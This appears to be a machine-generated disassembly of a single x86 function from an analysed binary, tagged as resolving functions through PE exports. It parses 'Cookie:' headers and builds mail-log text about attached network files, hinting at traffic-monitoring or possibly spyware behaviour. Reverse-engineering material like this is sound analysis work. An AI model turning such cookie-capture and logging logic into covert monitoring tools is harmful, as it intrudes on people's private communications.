Function at 0x59041200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x591409ce
push eax
mov eax, dword [esp + 0x18]
mov dword fs:[0], esp
sub esp, 0xbc
test eax, eax
push ebx
push ebp
push esi
push edi
je 0x5904122d
mov dword [eax], 0
mov eax, dword [0x59194a20]
test eax, eax
je 0x5904124f
push str.LogMail_ecspc__
push str.Winncap
push 0xffffffffffffffff
push 0x591949b4
call fcn.59078030
add esp, 0x10
mov ebx, dword [esp + 0xdc]
mov ebp, dword [esp + 0xe0]
mov esi, ebx
mov dword [esp + 0x78], ebp
test ebx, ebx
mov dword [esp + 0x64], esi
je 0x59041acf
test ebp, ebp
je 0x59041acf
mov edi, str.Cookie:
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Cookie:
push ebp
push ebx
call fcn.5900cfc0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x590412b6
mov eax, dword [esp + 0xe4]
push eax
push 0
push 0
push ebp
push ebx
call fcn.590131e0
add esp, 0x14
jmp 0x59041acf
push 0x59173d00
push ebp
push ebx
call fcn.5900f220
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x59041acf
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [0x5914f850]
not ecx
dec ecx
mov dword [esp + 0x30], eax
add edx, ecx
add ebx, edx
sub ebp, edx
mov dword [esp + 0xd4], 0
mov dword [esp + 0x10], eax
mov byte [esp + 0xd4], 1
mov dword [esp + 0x14], eax
mov byte [esp + 0xd4], 2
mov dword [esp + 0x20], eax
mov byte [esp + 0xd4], 3
mov dword [esp + 0x1c], eax
mov byte [esp + 0xd4], 4
mov dword [esp + 0x24], eax
mov byte [esp + 0xd4], 5
mov dword [esp + 0x28], eax
lea ecx, [esp + 0x68]
mov byte [esp + 0xd4], 6
call fcn.5909fd90
lea ecx, [esp + 0x7c]
mov byte [esp + 0xd4], 7
call fcn.5909fd90
mov ecx, dword [0x5914f850]
mov byte [esp + 0xd4], 8
mov dword [esp + 0x18], ecx
mov edx, dword [esp + 0x20]
mov byte [esp + 0xd4], 9
mov eax, dword [edx - 8]
test eax, eax
jne 0x59041944
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x59041944
mov ecx, dword [esp + 0x28]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x59041944
mov edx, dword [esp + 0x10]
mov eax, dword [edx - 8]
test eax, eax
jne 0x59041944
mov eax, dword [esp + 0x24]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x59041944
lea edi, [ebp + 1]
push edi
call fcn.5912c500
mov esi, eax
add esp, 4
test esi, esi
je 0x5904183f
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
push ebx
rep stosb byte es:[edi], al
push esi
call fcn.5907e1f0
add esp, 8
mov ecx, esp
mov dword [esp + 0x60], esp
push esi
call fcn.59094760
lea eax, [esp + 0x5c]
mov byte [esp + 0xd8], 9
push eax
call fcn.5900aa80
add esp, 8
mov ecx, dword [0x5914f850]
mov byte [esp + 0xd4], 0xb
mov dword [esp + 0x44], ecx
mov edx, dword [esp + 0x58]
push 0xfde9
push edx
lea ecx, [esp + 0x4c]
mov byte [esp + 0xdc], 0xc
call fcn.5909e870
push esi
call fcn.5912c529
add esp, 4
lea ecx, [esp + 0x9c]
call fcn.590f52a0
mov eax, dword [esp + 0x44]
lea ecx, [esp + 0x9c]
push eax
mov byte [esp + 0xd8], 0xd
call fcn.590f6000
lea ecx, [esp + 0x9c]
lea edx, [esp + 0x3c]
push ecx
push edx
call fcn.5901f5f0
add esp, 8
mov eax, dword [esp + 0x3c]
mov byte [esp + 0xd4], 0xe
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590414a7
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x34]
call fcn.5909a5a0
lea edx, [esp + 0x9c]
lea eax, [esp + 0x34]
push edx
push eax
call fcn.5901f640
add esp, 8
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0xd8], 0xf
call fcn.5909a5a0
lea ecx, [esp + 0x34]
mov byte [esp + 0xd4], 0xe
call fcn.5909a410
lea ecx, [esp + 0x60]
push 0
lea edx, [esp + 0xa0]
push ecx
lea eax, [esp + 0x3c]
push edx
push eax
mov dword [esp + 0x70], 0
call fcn.5901f690
add esp, 0x10
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0xd8], 0x10
call fcn.5909a5a0
lea ecx, [esp + 0x34]
mov byte [esp + 0xd4], 0xe
call fcn.5909a410
mov eax, dword [esp + 0x60]
test eax, eax
je 0x59041598
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call fcn.5909a5a0
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x2c]
push edx
push eax
call fcn.5900abe0
add esp, 8
lea ecx, [esp + 0x2c]
mov byte [esp + 0xd4], 0x11
push ecx
lea ecx, [esp + 0x14]
call fcn.5909a5a0
lea edx, [esp + 0x2c]
push edx
call fcn.5900bc30
add esp, 4
test eax, eax
jne 0x59041587
lea ecx, [esp + 0x14]
call fcn.5909a180
lea ecx, [esp + 0x10]
call fcn.5909a180
lea ecx, [esp + 0x2c]
mov byte [esp + 0xd4], 0xe
call fcn.5909a410
lea ecx, [esp + 0x8c]
call fcn.590a6450
lea ecx, [esp + 0x48]
mov byte [esp + 0xd4], 0x12
call fcn.5909fd90
lea eax, [esp + 0x8c]
push 0
lea ecx, [esp + 0x4c]
push eax
lea edx, [esp + 0xa4]
push ecx
push edx
mov byte [esp + 0xe4], 0x13
call fcn.5901f800
mov eax, dword [esp + 0x5c]
add esp, 0x10
xor esi, esi
test eax, eax
jle 0x59041704
mov bl, 0x16
mov eax, dword [esp + 0x48]
mov edx, dword [eax + esi*4]
lea ecx, [eax + esi*4]
mov eax, dword [edx - 8]
test eax, eax
je 0x590416f7
push 0x5c
call fcn.5909b5c0
mov ecx, dword [esp + 0x48]
inc eax
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [ecx + esi*4]
call fcn.5909c700
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0xd8], 0x14
call fcn.59094930
lea ecx, [esp + 0x5c]
mov byte [esp + 0xd4], bl
call fcn.5909a410
lea edx, [esp + 0x40]
push 0x59173628
push edx
call fcn.5904fff0
add esp, 8
mov eax, dword [esp + 0xe4]
mov byte [esp + 0xd4], 0x17
test eax, eax
jne 0x59041675
mov eax, dword [esp + 0x40]
push eax
call fcn.5900f0e0
add esp, 4
test eax, eax
je 0x590416d6
mov ecx, dword [esp + 0x40]
push ecx
lea ecx, [esp + 0x30]
call fcn.59099b10
mov eax, dword [esp + 0x6c]
lea edx, [esp + 0x2c]
push edx
push eax
lea ecx, [esp + 0x70]
mov byte [esp + 0xdc], 0x18
call fcn.590a03a0
mov ecx, dword [esp + 0x34]
push ecx
lea ecx, [esp + 0x30]
call fcn.5909a770
mov eax, dword [esp + 0x80]
lea edx, [esp + 0x2c]
push edx
push eax
lea ecx, [esp + 0x84]
call fcn.590a03a0
lea ecx, [esp + 0x2c]
mov byte [esp + 0xd4], 0x17
call fcn.5909a410
lea ecx, [esp + 0x40]
mov byte [esp + 0xd4], bl
call fcn.59095090
lea ecx, [esp + 0x34]
mov byte [esp + 0xd4], 0x13
call fcn.59095090
mov eax, dword [esp + 0x4c]
inc esi
cmp esi, eax
jl 0x590415ec
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x94]
call fcn.590a6470
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x50]
call fcn.5909fe00
lea ecx, [esp + 0x8c]
push 1
lea edx, [esp + 0x4c]
push ecx
lea eax, [esp + 0xa4]
push edx
push eax
call fcn.5901f800
mov eax, dword [esp + 0x5c]
add esp, 0x10
xor esi, esi
test eax, eax
jle 0x5904179a
mov ecx, dword [esp + 0x48]
mov edx, dword [ecx + esi*4]
lea eax, [ecx + esi*4]
mov ecx, dword [edx - 8]
test ecx, ecx
je 0x59041791
mov ecx, dword [esp + 0x18]
mov edx, dword [ecx - 8]
test edx, edx
jne 0x59041772
push eax
lea ecx, [esp + 0x1c]
call fcn.5909a5a0
jmp 0x59041791
push 0x59172460
lea ecx, [esp + 0x1c]
call fcn.5909b060
mov edx, dword [esp + 0x48]
lea ecx, [esp + 0x18]
lea eax, [edx + esi*4]
push eax
call fcn.5909b0c0
mov eax, dword [esp + 0x4c]
inc esi
cmp esi, eax
jl 0x5904174a
lea ecx, [esp + 0x20]
lea edx, [esp + 0x9c]
push ecx
push edx
call fcn.5901fba0
lea eax, [esp + 0x24]
lea ecx, [esp + 0xa4]
push eax
push ecx
call fcn.5901fc30
lea edx, [esp + 0x34]
lea eax, [esp + 0xac]
push edx
push eax
call fcn.5901fcc0
add esp, 0x18
lea ecx, [esp + 0x48]
mov byte [esp + 0xd4], 0x12
call fcn.5909fda0
lea ecx, [esp + 0x8c]
mov byte [esp + 0xd4], 0xe
call fcn.590a6460
lea ecx, [esp + 0x3c]
mov byte [esp + 0xd4], 0xd
call fcn.5909a410
lea ecx, [esp + 0x9c]
mov byte [esp + 0xd4], 0xc
call fcn.590f5330
lea ecx, [esp + 0x44]
mov byte [esp + 0xd4], 0xb
call fcn.5909a410
lea ecx, [esp + 0x58]
mov byte [esp + 0xd4], 9
call fcn.59095090
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx - 8]
test eax, eax
je 0x59041905
mov edx, dword [esp + 0x18]
mov eax, dword [edx - 8]
test eax, eax
je 0x59041905
push str._r_n_r_n
lea ecx, [esp + 0x14]
call fcn.5909b060
push str._____________________________r_n
lea ecx, [esp + 0x14]
call fcn.5909b060
push str.Attach_file_from_network_hd:
lea ecx, [esp + 0x14]
call fcn.5909b060
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
call fcn.5909b0c0
push 0x591734ec
lea ecx, [esp + 0x14]
call fcn.5909b060
push str.____________________________
lea ecx, [esp + 0x14]
call fcn.5909b060
push str._r_n_r_n
lea ecx, [esp + 0x18]
call fcn.5909b060
push str._____________________________br_
lea ecx, [esp + 0x18]
call fcn.5909b060
push str.Attach_file_from_network_hd:
lea ecx, [esp + 0x18]
call fcn.5909b060
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x18]
call fcn.5909b0c0
push str._br_
lea ecx, [esp + 0x18]
call fcn.5909b060
push str.____________________________
lea ecx, [esp + 0x18]
call fcn.5909b060
mov edx, dword [esp + 0x20]
mov eax, dword [edx - 8]
test eax, eax
jne 0x59041940
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x59041940
mov ecx, dword [esp + 0x28]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x59041940
mov edx, dword [esp + 0x10]
mov eax, dword [edx - 8]
test eax, eax
jne 0x59041940
mov eax, dword [esp + 0x24]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59041a22
mov esi, dword [esp + 0x64]
mov eax, dword [esp + 0xe4]
test eax, eax
je 0x5904195a
mov dword [eax], 1
jmp 0x59041a22
lea ecx, [esp + 0x38]
push 0
push ecx
call fcn.5904fff0
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x84]
push 1
lea eax, [esp + 0x74]
push edx
mov edx, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3c]
push edx
mov edx, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x54]
push edx
mov edx, dword [esp + 0x60]
push eax
push ecx
push edx
mov byte [esp + 0x108], 0x19
call fcn.5900bf80
add esp, 0x34
test eax, eax
je 0x59041a11
mov edi, dword [esp + 0x78]
mov eax, dword [esp + 0x38]
push edi
push esi
push eax
call fcn.5900bd70
add esp, 0xc
test eax, eax
je 0x59041a11
mov eax, dword [esp + 0x14]
push 0
push 0
lea ecx, [esp + 0x84]
push 0
lea edx, [esp + 0x74]
push ecx
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x3c]
push eax
mov eax, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x38]
push edx
mov edx, dword [esp + 0x40]
push eax
mov eax, dword [esp + 0x54]
push ecx
mov ecx, dword [esp + 0x60]
push edx
push eax
push 2
push 1
push ecx
push edi
push esi
call fcn.5900e040
add esp, 0x44
lea ecx, [esp + 0x38]
mov byte [esp + 0xd4], 9
call fcn.59095090
lea ecx, [esp + 0x18]
mov byte [esp + 0xd4], 8
call fcn.5909a410
lea ecx, [esp + 0x7c]
mov byte [esp + 0xd4], 7
call fcn.5909fda0
lea ecx, [esp + 0x68]
mov byte [esp + 0xd4], 6
call fcn.5909fda0
lea ecx, [esp + 0x28]
mov byte [esp + 0xd4], 5
call fcn.5909a410
lea ecx, [esp + 0x24]
mov byte [esp + 0xd4], 4
call fcn.5909a410
lea ecx, [esp + 0x1c]
mov byte [esp + 0xd4], 3
call fcn.5909a410
lea ecx, [esp + 0x20]
mov byte [esp + 0xd4], 2
call fcn.5909a410
lea ecx, [esp + 0x14]
mov byte [esp + 0xd4], 1
call fcn.5909a410
lea ecx, [esp + 0x10]
mov byte [esp + 0xd4], 0
call fcn.5909a410
lea ecx, [esp + 0x30]
mov dword [esp + 0xd4], 0xffffffff
call fcn.5909a410
mov ecx, dword [esp + 0xcc]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0xc8
ret